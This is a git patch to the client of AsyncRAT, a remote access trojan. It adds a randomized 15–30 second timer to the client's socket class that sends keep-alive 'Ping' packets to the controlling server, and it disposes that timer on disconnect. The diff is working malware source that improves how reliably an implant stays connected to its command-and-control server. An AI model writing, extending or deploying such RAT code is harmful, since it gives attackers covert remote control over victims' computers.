From 1eea7071b29391303fc42eecc1a5b06eb031e765 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Mon, 17 Jun 2019 13:37:58 +0300 Subject: [PATCH] Check if server is connected --- AsyncRAT-C#/Client/Sockets/TempSocket.cs | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/AsyncRAT-C#/Client/Sockets/TempSocket.cs b/AsyncRAT-C#/Client/Sockets/TempSocket.cs index 4002fe9..3aa8255 100644 --- a/AsyncRAT-C#/Client/Sockets/TempSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/TempSocket.cs @@ -31,6 +31,8 @@ namespace Client.Sockets private MemoryStream MS { get; set; } public bool IsConnected { get; set; } private object SendSync { get; } = new object(); + private static Timer Tick { get; set; } + public TempSocket() { @@ -52,6 +54,7 @@ namespace Client.Sockets SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); Buffer = new byte[4]; MS = new MemoryStream(); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); } catch @@ -75,7 +78,7 @@ namespace Client.Sockets try { - // Tick?.Dispose(); + Tick?.Dispose(); SslClient?.Dispose(); Client?.Dispose(); MS?.Dispose(); @@ -186,5 +189,13 @@ namespace Client.Sockets } } } + + public void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = ""; + Send(msgpack.Encode2Bytes()); + } } } \ No newline at end of file